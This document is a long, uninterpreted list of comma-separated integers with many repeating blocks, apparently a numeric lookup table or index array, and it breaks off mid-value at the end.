6,42516,42516,42516,42516,42516,34278,42516,28081,38368,22657,22657,22657,22657,38374,42076,46316,46316,46316,46316,46212,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,47761,42516,34299,19108,42516,42516,19113,34320,22657,22657,34338,22657,30360,22540,46316,34104,46316,46316,22343,30533,38147,42837,38147,38147,27826,34355,42516,42516,42516,34399,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,38663,42516,34417,28242,22657,22657,38760,37745,46316,46316,50996,37798,38147,38147,38147,34438,22690,34456,18364,34487,34538,24114,31309,31274,34559,34565,27432,34581,44559,30458,34604,22076,42516,19757,34657,29792,34679,47804,33555,31559,34736,35451,34758,22690,41150,39051,35676,32439,38610,34776,34795,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,34833,34871,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,18277,42516,42516,34899,42516,42516,42516,36062,42516,36065,42516,42516,34947,34936,36697,22657,34963,27757,38148,48007,34986,42516,42516,29815,34304,21387,19116,42516,38636,42516,42516,42516,42516,28243,22657,22657,43325,22657,27401,46316,46316,30705,48318,38147,38147,38147,35021,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,35376,42516,35039,38368,22657,22657,22657,22657,50945,22541,46316,46316,46316,46316,38717,38147,38147,38147,38147,38147,41757,22444,42516,35059,42516,42516,42516,42516,42516,42516,42516,39196,38370,35077,22657,22657,22657,30360,46821,46316,46316,46316,46316,22343,23541,38147,38147,38147,38147,27826,41766,42516,42516,42516,50318,42516,42516,42516,23255,22657,22657,22657,46040,30361,22539,46316,46316,46316,34080,30525,38147,38147,38147,42204,34440,41769,42516,42516,46608,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,23434,42516,22428,38373,22657,28384,46316,46316,36586,38147,27827,35094,34920,22560,38372,50497,46316,40393,38147,43581,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,44978,42516,51537,30322,33499,42482,50012,50022,18763,18772,35115,35131,35143,35159,35172,26099,42516,42516,42516,36498,41847,42516,42516,42516,31671,41803,35188,36161,35205,35221,43491,35237,35256,29171,35289,37464,35305,42516,42516,42516,35339,42516,28090,35375,42516,42516,28949,35314,39266,28243,48989,48108,22657,35392,47509,37433,35422,34970,35439,27808,35467,38147,35501,35536,22382,42516,35594,39908,48509,34515,35614,42516,18299,18417,42516,35655,35672,48116,22657,43129,29280,37184,22541,48019,46316,38117,35692,47637,38147,35719,38147,35737,27472,35753,22444,42516,42516,42516,42516,35778,48535,35820,42516,42516,42516,23024,36244,22657,22657,29502,38418,35859,41980,46316,46316,48733,41934,49389,35884,38147,38147,40673,49832,35905,42516,36909,35924,35976,35997,18673,36033,34522,36081,47410,36098,36117,36141,36177,46316,36198,32809,43953,30446,38147,43626,42012,36214,36230,23328,20636,45205,36266,36283,36301,35981,36329,26662,46771,36350,36390,48253,35703,36411,36456,40231,38454,41461,37653,42516,42516,37028,36479,40577,43121,45398,22366,37772,48725,38205,36432,50457,40469,42516,25485,42516,36514,38373,22657,28384,46316,46316,36586,38147,27827,36626,36531,42516,28996,31885,36559,36579,36602,36619,36804,36642,28385,28404,30535,42423,49897,44263,36663,36694,43147,27775,22913,28244,40729,36585,22448,36713,36744,34366,22755,31692,28429,36774,36790,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,39935,42516,51537,42516,42516,42516,42516,25917,42516,29952,39942,19158,38671,36820,36833,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,44206,22657,27401,46316,46317,46316,48318,38147,38147,34588,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,19484,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,36849,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,36869,42516,42516,42516,42516,42516,42516,42516,42516,46294,22657,22657,22657,22657,30360,49232,46316,46316,46316,46316,22343,30796,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,46996,42516,51537,42516,23354,42516,42753,36888,36925,36938,36954,36961,36977,36993,37006,26099,42516,37022,42516,27632,42516,41516,26816,42516,42516,37044,42516,37049,18537,37065,37087,37117,44086,37200,37235,39844,33658,37263,42516,42516,35791,42516,42516,34914,28072,42516,37291,22389,37311,18926,37716,37348,43712,48153,37366,37382,46316,37416,40607,40193,49587,35520,37449,27508,37480,37934,42516,42516,42516,42516,41144,42516,42516,42516,42516,42516,38368,37503,36125,22657,37529,39594,37550,37566,48265,46316,37588,30713,29645,37605,37623,38799,38147,37641,22444,42516,42516,37688,42516,42516,49494,24999,42516,42516,42516,38370,22657,22657,29494,37704,37740,22540,46316,46316,40001,37761,37795,30533,38147,38147,37825,37814,37848,41766,42516,37894,42516,42516,51139,42516,42516,23255,22657,41398,22657,22657,30361,22539,42274,46316,46316,46316,30525,38147,37912,38147,38147,34440,41769,37930,36490,42516,34663,37950,28242,37986,22657,22657,46812,38013,46316,46316,45485,49261,38147,38147,48821,22690,49311,42516,42516,38050,38368,41404,22657,40730,47057,46316,36583,48937,38147,40469,42516,21575,42516,42516,38373,22657,38069,46316,45780,36586,38147,40463,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,38089,46273,22694,23034,40134,34366,22755,38105,38164,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,26200,42516,51537,42516,27946,42516,42516,47834,20951,20960,38221,38236,38243,38259,38272,26258,42516,38551,42516,27632,42516,34262,42516,42516,42516,38553,42516,38546,21091,38552,21774,38288,31700,35273,38309,34810,28721,42516,42516,38329,34304,42516,29241,23811,23953,42516,42516,42516,38347,38364,33022,22657,38390,38410,28636,46316,29607,39628,38434,42370,38147,48603,38470,47663,38504,38541,39253,39681,42516,42516,42516,42516,41197,42516,42516,42516,38368,31857,22657,38569,22657,38374,22541,38589,28198,46316,46316,44805,29206,27800,32877,38147,38147,32923,22444,42516,28144,42516,38634,42516,45188,42516,38652,42516,42516,38370,39723,22657,22657,38687,30379,22540,23043,46316,46316,38710,22895,30533,49398,38147,38147,38733,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,33462,42516,42516,42516,42516,38368,38756,22657,40730,38776,46316,36583,38795,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,38815,36586,49663,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,49485,38368,44256,40047,45820,38834,38868,32210,38891,28238,43147,27775,22913,28244,40729,36585,22448,28385,38914,38935,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,27187,42516,30926,42516,34543,38987,37672,39016,39067,39107,39092,39111,39076,39127,39140,26099,42516,25841,23701,20829,39222,20009,42516,39156,41252,39175,39212,32746,21195,39238,26847,39289,45668,39332,39368,34810,28721,32390,42516,42516,26444,30879,36010,28099,40787,39398,38525,26035,39432,39483,44460,39503,41633,22657,32003,22601,46316,49709,48318,47976,47889,30552,38147,33209,39523,39917,39159,42516,39546,42516,42516,40976,42516,42516,42516,39568,39487,37157,22657,39589,22657,38374,39610,45436,46316,39644,46316,44805,27542,39661,38313,38147,38147,32923,22444,42516,42516,42516,42516,30632,42516,42516,21187,39678,39697,39714,22657,22657,50559,22657,39739,39760,46316,46316,38818,46316,39784,39805,38147,38147,32856,38147,39829,41766,46006,39893,48391,49682,42516,39960,34641,39976,38394,40024,37997,33010,30361,22539,40063,40121,43817,40157,30525,40868,40175,40209,40247,34760,44916,20285,40281,34623,40309,51090,50324,48429,40325,40344,40364,39645,40409,40428,40449,38147,40485,49825,39382,22690,40506,42516,42516,22216,40534,39507,48098,30083,50926,38024,33595,45640,28567,40469,40559,42516,40087,26129,45371,31289,28384,40593,41927,40637,40665,40689,34614,41203,40707,27312,43148,48295,28405,40861,22683,50287,38368,40727,40746,40649,40767,40811,22827,40847,33407,49334,48207,33243,28244,40729,36585,22448,28385,36584,41673,40884,31692,28429,22929,40922,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,40951,51537,42516,42744,40972,42516,27292,40992,41001,41017,41032,41039,41055,41068,26099,20248,41084,41102,41129,21286,41166,42516,41182,41219,41286,31731,41302,41336,41352,41368,41384,34883,41420,41436,48349,41477,42516,42240,27121,34422,42516,41511,25267,41532,41575,42516,42516,41594,28243,22657,31843,41613,34053,27401,40159,35568,34847,41649,38147,27550,41689,41744,40896,22382,42516,26380,42516,41578,42516,44762,41785,42516,41828,27866,41270,19255,22657,41881,41897,22657,35406,41916,43971,44095,46316,46316,41950,22851,37219,42001,38147,29467,32923,42028,42044,42516,46644,19385,42516,42516,42516,42516,42516,34632,38370,22657,27339,43920,22657,30360,22540,46316,44514,36395,46316,22343,30533,38147,35478,49592,38147,27826,41766,42516,42516,21305,42516,31235,42516,42516,23255,22657,22657,22657,22657,20064,42074,46316,46316,46316,46316,42093,38147,38147,38147,38147,50734,41769,50664,35952,42516,42516,42516,41113,22657,42177,22657,45759,46316,43945,46316,45799,38147,45843,38147,27827,29041,42127,42516,42516,42516,48412,30671,22657,38073,44692,46316,33520,45533,38147,40469,42146,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,43588,34920,42516,42166,40348,33173,48271,42201,22683,42220,41559,42256,42290,42321,33756,44448,35547,42352,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,32531,22755,42386,28429,22929,42410,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,39045,51537,42516,42516,42439,19363,42461,42498,42516,31468,42533,42547,42563,42576,26099,42516,42516,25867,27632,42516,42516,42516,42592,26617,42516,42516,26436,25867,42516,30236,31920,49620,42612,36440,34810,28721,42516,42647,42516,34304,42516,44608,36046,42516,35598,42516,42516,36057,51481,44194,32471,36334,37148,42671,32033,42687,33121,42706,38488,30256,30569,29372,32199,42722,42778,42516,42799,42516,49524,50043,35835,42516,42516,42516,42516,38368,22657,22657,37175,22657,38374,22541,46316,46316,47563,46316,44805,38147,38147,38147,42836,38147,32923,42853,42888,35656,42516,42516,42516,50763,30902,39460,48700,42516,38370,22657,42923,22657,22657,37350,22540,46316,42958,46316,46316,27403,30533,38147,42991,38147,38147,27826,41766,42516,29233,42516,42516,42516,43017,42516,23255,22657,22657,49093,22657,22325,22539,46316,46316,43039,46316,30788,38147,38147,35485,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,36017,42516,42516,43058,22657,22657,40730,46316,46316,36583,38147,38147,48843,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,46409,43080,43110,32715,30112,30535,40935,43145,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,35061,42516,42516,42516,28279,28282,18254,28275,31684,43164,43182,29146,43216,43233,29330,43270,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,43287,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,43306,46316,46316,46316,46316,50852,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,43323,28384,43789,46316,36586,43341,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,50278,22100,42516,42516,50243,42516,29530,43375,33789,43361,43411,43418,43434,43447,26099,42516,33915,33924,27632,40956,43463,43486,41243,43507,26512,26972,26982,27147,41812,42783,43531,49966,43567,43604,44058,40078,42516,42516,42516,23213,43642,34502,43666,43684,38517,42516,42516,35323,43702,22657,43728,30048,43746,43782,42975,46316,43805,34708,43833,43850,27569,49274,49874,43871,42516,42516,42516,45270,35189,42516,42516,43894,43668,42516,42814,33726,22657,43915,22657,37724,49041,43936,46316,43969,46316,45680,43987,44022,33996,38147,38147,44043,44074,22444,42516,42516,19081,42516,44111,44127,42516,43290,44154,44166,44182,22657,37101,44229,44279,30652,44299,46316,42336,45461,44326,40412,44345,38147,44372,45987,44388,34123,41766,28121,42516,42516,24911,44407,50085,42516,44435,27732,44483,22975,22657,30361,22539,44504,42690,46316,46316,30525,28768,44537,44554,38147,40691,44575,42516,44603,44624,42516,42516,28242,44645,22657,22657,44664,44689,46316,46316,49378,44708,38147,38147,49798,22690,42516,44729,42516,42516,20056,22657,22657,34376,46316,51047,22477,38147,44538,40469,42516,22273,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,44749,26230,34694,49922,44785,36803,38372,46315,38146,47702,44821,44842,44862,21913,40729,36585,22448,28385,36584,40621,44890,44940,42111,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,46959,51537,45028,47264,44964,45002,45045,45083,45015,45108,45123,45139,45155,45168,26099,45184,28448,42516,28797,42516,42516,30342,42516,42516,45204,45221,31185,28655,31192,26648,48147,38948,50978,45241,34810,28721,45262,45286,25875,34304,35804,42516,42516,42516,42516,45307,45333,42516,45362,45387,27370,22657,22657,45422,45457,45477,46316,48318,45501,22713,45531,38147,40896,22382,41086,42516,42516,45549,45580,42516,42516,42516,42516,42516,41312,38368,32670,37166,22657,22657,33029,22541,45618,47052,46316,46316,45690,35721,38147,45637,38147,38147,45656,22444,42516,42516,45593,44733,42516,45600,35835,45706,27030,38348,45731,22657,22657,40543,26861,45754,45775,46316,46316,43191,44800,45796,45815,38147,38147,40256,45836,45859,28046,42867,49429,42516,25220,42516,19477,43271,20461,22657,22657,27347,45890,30361,22539,46316,48577,44521,46316,30525,38147,38147,46850,45910,34440,41769,42516,50831,45929,19737,42516,28242,22657,45947,43759,50887,46316,45965,46065,28181,38147,45983,46857,27827,22690,42516,42516,46003,44138,38368,22657,22657,40730,46316,46316,36583,38147,38147,29031,51383,46022,26136,47337,46039,22657,46056,46316,34383,36586,38147,46089,46111,34920,46149,46173,43148,46207,44846,46228,32903,36804,38368,46247,46266,45515,36803,38372,46315,38146,35099,35240,22504,22913,46289,46310,46333,36758,46387,47879,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,27247,51537,42516,42516,23393,42516,46425,46462,46474,46490,46505,46521,46537,46550,26099,46566,25493,25815,46587,26561,21328,46624,21598,42516,46636,46660,46669,46685,46722,46757,46799,32544,46837,46873,41704,47524,33832,37332,35627,34304,46901,42516,44629,46918,39031,46952,46975,47012,47022,48184,31972,27713,43730,47038,31642,47073,47098,47607,47121,47145,47186,47202,47222,47250,47280,47302,42058,42516,47326,47353,42516,42516,47371,47388,46928,47404,47426,47449,47472,29567,47494,47549,47584,47623,47679,36182,44805,36463,37832,40141,38147,32161,32170,47697,42516,45060,42596,50682,47718,42130,47751,46440,36515,21144,38370,47785,29270,22657,44488,47820,47850,47868,40376,46316,45441,47912,47938,47958,43617,38147,38919,47992,41766,29407,48041,42516,27096,48062,42516,50062,40568,48085,38573,48132,48169,30361,48200,48223,48241,48287,48311,47922,47129,22858,48334,43855,34440,40906,48365,50193,42516,22144,48387,48407,44243,48428,22657,49223,47234,48445,46316,47082,50795,48488,38147,33704,22690,42516,48504,48525,42516,20103,22966,48559,32447,40385,48575,48593,50156,48626,48646,48680,42516,33850,39552,21921,26930,48716,48749,48769,48802,45246,48837,48960,48859,48887,32658,28363,48910,33376,48933,48953,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,45621,46231,48976,39991,49005,49029,40039,49057,44903,22755,31692,28429,49073,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,49109,42516,42516,49144,42516,32608,18328,18337,49164,18337,18344,49180,49193,26099,42516,42516,42516,27632,20863,28835,42516,42516,42516,42516,28834,42516,20857,42516,28241,49209,31530,22841,49248,36678,30143,33493,42516,42516,34304,42516,42516,35043,49290,42516,42516,42516,38053,28243,49327,22657,22657,22658,49350,46316,46316,46316,31591,33687,38147,38147,38147,49366,49414,49451,42516,49474,49519,42516,42516,43686,45346,42516,46571,46157,38368,45949,40328,45406,25137,29005,22541,48786,34087,38601,49540,48459,38147,33697,39345,49573,33236,49608,22444,42516,19180,42516,50588,42516,42516,42516,18791,42516,42516,38370,38694,22657,22657,22657,30360,49641,32217,46316,46316,46316,22343,49659,38898,38147,38147,38147,27826,41766,46990,42516,49679,42516,42516,42516,42516,20094,31303,22657,22657,22657,30361,49698,46316,46316,46316,46316,30525,49732,38147,38147,38147,34440,35908,42516,42516,46023,49756,42516,29706,37130,22657,22657,39744,38128,46316,46316,49778,49814,38147,38147,49848,22690,22055,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,34322,43148,47105,28405,38446,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,49890,49913,49938,22448,28385,36584,34366,34779,33418,49954,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,5e4,50082,50038,50059,42516,32349,42516,20487,50078,34283,44986,50101,50114,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,50130,42394,35273,50148,34810,28721,42516,36285,32580,34304,42516,42516,42516,42516,42516,25759,42516,42516,28243,27704,22657,37534,22657,27401,50172,46316,38188,48318,29351,38147,30813,38147,40896,22382,42516,42516,42516,42516,42516,41597,42516,42516,42516,42476,42516,38368,22657,50132,22657,22657,38374,22541,46316,49557,46316,46316,44805,38147,38147,50449,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,50190,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,50209,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,50231,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,50266,42516,22306,42516,45067,50303,50340,42516,50365,50380,50394,50410,50423,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,45894,46314,50439,28325,41965,36365,42516,42516,42516,34304,42516,42516,42516,42516,25694,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,50473,42516,42516,42516,50491,22657,22657,22657,22657,30360,50513,46316,46316,46316,46316,22343,50533,38147,38147,38147,38147,27826,41766,42516,42516,29399,42516,42516,42516,42516,23255,22657,22657,50557,22657,50575,22539,46316,43245,46316,33180,30525,38147,47942,38147,38147,50611,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,26324,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,48543,50631,50644,26099,42516,42516,42516,27632,50660,42516,50680,42516,42516,42516,29122,42516,21452,29118,32973,50698,44948,35273,50716,34810,28721,42516,42516,42516,50750,27264,27883,43515,42516,42516,42516,42516,42516,28243,22657,43166,22657,49088,27401,46316,30696,30175,48318,38147,38147,50786,27533,40896,50811,50827,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,51530,42516,42516,42516,38370,22657,27966,22657,22657,27206,22540,46316,36563,46316,46316,48225,30533,38147,43345,38147,38147,27826,41766,21110,42516,42516,42516,42516,42516,42516,23255,36082,22657,22657,22657,30361,22539,50847,46316,46316,46316,30525,40490,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,24903,42516,42516,27632,42516,42516,20017,42516,42516,42516,42516,20023,42516,42516,50868,36101,46314,27462,29927,45874,41719,42516,29087,42516,34304,42516,42516,42516,42516,42516,42516,42516,42872,28243,22657,22657,22657,47797,27401,46316,46316,22542,48318,38147,38147,38147,27479,40896,22382,42516,50903,42516,42516,42516,42516,42516,42516,42150,42516,42516,38368,46183,22657,41900,22657,38374,22541,50922,46316,37779,46316,44805,36603,38147,38147,40222,38147,32923,22444,42516,50475,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,50942,22657,22657,30360,50961,30499,50994,46316,46316,22343,49789,39662,51012,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,48664,23255,22657,22657,32677,22657,28304,22539,46316,46316,51045,46316,51063,38147,38147,50725,38147,44006,41769,42516,42516,50906,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,48656,42516,42516,47372,42516,31381,22657,22657,34817,46316,46316,40751,38147,38147,40469,42516,42516,51087,42516,38373,28681,28384,46316,51106,36586,34742,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,19962,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,3837